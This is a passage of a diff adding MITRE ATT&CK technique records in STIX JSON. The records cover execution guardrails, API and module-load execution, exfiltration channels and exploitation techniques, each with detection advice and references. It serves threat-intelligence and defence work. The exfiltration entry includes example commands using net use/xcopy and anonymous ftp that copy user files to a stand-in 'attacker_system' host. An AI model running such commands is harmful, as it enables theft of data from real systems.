"url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html" + }, + { + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "source_name": "Cisco DoSdetectNetflow", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + } + ], + "modified": "2019-06-20T13:58:02.153Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Execution Guardrails", + "description": "Execution guardrails constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. \n\nGuardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.\n\nEnvironmental keying is one type of guardrail that includes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use guardrails and environmental keying to help protect their TTPs and evade detection. For example, environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) In general, guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) where a decision can be made not to further engage because the value conditions specified by the adversary are meant to be target specific and not such that they could occur in any environment.", + "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "modified": "2019-07-19T14:59:44.034Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Detecting the action of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Nick Carr, FireEye" + ], + "created": "2019-01-31T02:10:08.261Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1480", + "url": "https://attack.mitre.org/techniques/T1480" + }, + { + "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.", + "source_name": "FireEye Kevin Mandia Guardrails", + "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/" + }, + { + "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.", + "source_name": "EK Clueless Agents", + "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf" + }, + { + "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.", + "source_name": "Kaspersky Gauss Whitepaper", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf" + }, + { + "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.", + "source_name": "Proofpoint Router Malvertising", + "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices" + }, + { + "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.", + "source_name": "EK Impeding Malware Analysis", + "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf" + }, + { + "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019.", + "source_name": "Environmental Keyed HTA", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/" + }, + { + "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.", + "source_name": "Ebowla: Genetic Malware", + "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf" + }, + { + "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.", + "source_name": "Demiguise Guardrail Router Logo", + "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection", + "Static File Analysis" + ] + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "name": "Execution through API", + "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n* CreateProcessA() and CreateProcessW(),\n* CreateProcessAsUserA() and CreateProcessAsUserW(),\n* CreateProcessInternalA() and CreateProcessInternalW(),\n* CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n* LoadLibraryA() and LoadLibraryW(),\n* LoadLibraryExA() and LoadLibraryExW(),\n* LoadModule(),\n* LoadPackagedLibrary(),\n* WinExec(),\n* ShellExecuteA() and ShellExecuteW(),\n* ShellExecuteExA() and ShellExecuteExW()", + "x_mitre_remote_support": false, + "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "created": "2017-05-31T21:31:17.472Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1106", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1106" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "source_name": "Kanthak Verifier", + "description": "Kanthak, S. (2017). Application Verifier Provider. Retrieved February 13, 2017.", + "url": "https://skanthak.homepage.t-online.de/verifier.html" + } + ], + "modified": "2019-07-17T20:10:02.128Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "File monitoring", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Execution through Module Load", + "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.", + "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "created": "2017-05-31T21:31:40.542Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1129", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1129" + }, + { + "source_name": "Wikipedia Windows Library Files", + "description": "Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.", + "url": "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files" + } + ], + "modified": "2019-07-17T20:12:18.964Z" + }, + { + "x_mitre_data_sources": [ + "User interface", + "Process monitoring", + "Process use of network", + "Packet capture", + "Netflow/Enclave netflow", + "Network protocol analysis" + ], + "name": "Exfiltration Over Alternative Protocol", + "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different channels could include Internet Web services such as cloud storage.\n\nAdversaries may leverage various operating system utilities to exfiltrate data over an alternative protocol. \n\nSMB command-line example:\n\n* net use \\\\\\attacker_system\\IPC$ /user:username password && xcopy /S /H /C /Y C:\\Users\\\\* \\\\\\attacker_system\\share_folder\\\n\nAnonymous FTP command-line example:(Citation: Palo Alto OilRig Oct 2016)\n\n* echo PUT C:\\Path\\to\\file.txt | ftp -A attacker_system\n", + "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "x_mitre_network_requirements": true, + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Alfredo Abarca" + ], + "created": "2017-05-31T21:30:44.720Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "external_id": "T1048", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1048" + }, + { + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig Oct 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-09-18T12:50:17.488Z" + }, + { + "x_mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "name": "Exfiltration Over Command and Control Channel", + "description": "Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.", + "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:41.804Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "external_id": "T1041", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1041" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-17T20:19:29.398Z" + }, + { + "x_mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "name": "Exfiltration Over Other Network Medium", + "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:25.159Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "external_id": "T1011", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1011" + } + ], + "modified": "2019-07-17T20:22:08.415Z" + }, + { + "x_mitre_data_sources": [ + "Data loss prevention", + "File monitoring" + ], + "type": "attack-pattern", + "name": "Exfiltration Over Physical Medium", + "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", + "id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Presence of physical medium or device" + ], + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": false, + "created": "2017-05-31T21:30:46.461Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "external_id": "T1052", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1052" + } + ], + "modified": "2019-07-24T17:36:01.198Z" + }, + { + "x_mitre_data_sources": [ + "Azure activity logs", + "AWS CloudTrail logs", + "Stackdriver logs", + "Packet capture", + "Web logs", + "Web application firewall logs", + "Application logs" + ], + "name": "Exploit Public-Facing Application", + "description": "The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).\n\nIf an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2", + "type": "attack-pattern", + "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1190", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1190" + }, + { + "source_name": "NVD CVE-2016-6662", + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662" + }, + { + "source_name": "CIS Multiple SMB Vulnerabilities", + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/" + }, + { + "source_name": "NVD CVE-2014-7169", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" + }, + { + "source_name": "OWASP Top 10", + "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.", + "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" + }, + { + "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.", + "source_name": "CWE top 25", + "url": "https://cwe.mitre.org/top25/index.html" + } + ], + "modified": "2019-10-22T19:45:56.959Z" + }, + { + "x_mitre_data_sources": [ + "Anti-virus", + "System calls", + "Process monitoring" + ], + "type": "attack-pattern", + "name": "Exploitation for Client Execution", + "description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", + "x_mitre_remote_support": true, + "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise." + ], + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1203", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1203" + } + ], + "modified": "2019-07-24T17:35:40.934Z" + }, + { + "x_mitre_data_sources": [ + "Authentication logs", + "Windows Error Reporting", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Exploitation for Credential Access", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", + "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1212", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1212" + }, + { + "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.", + "source_name": "Technet MS14-068", + "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + } + ], + "modified": "2019-07-25T18:56:25.151Z" + }, + { + "x_mitre_data_sources": [ + "Windows Error Reporting", + "Process monitoring", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Exploitation for Defense Evasion", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1063). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.", + "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "modified": "2019-07-25T18:57:59.041Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1211", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1211" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "System access controls" + ] + }, + { + "x_mitre_data_sources": [ + "Windows Error Reporting", + "Process monitoring", + "Application logs" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Exploitation for Privilege Escalation", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.", + "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "In the case of privilege escalation, the adversary likely already has user permissions on the target system." + ], + "type": "attack-pattern", + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.\n\nHigher privileges are often necessary to perform additional actions such as some methods of [Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:55.066Z", + "x_mitre_effective_permissions": [ + "User" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1068", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1068" + } + ], + "modified": "2019-07-26T19:55:06.358Z" + }, + { + 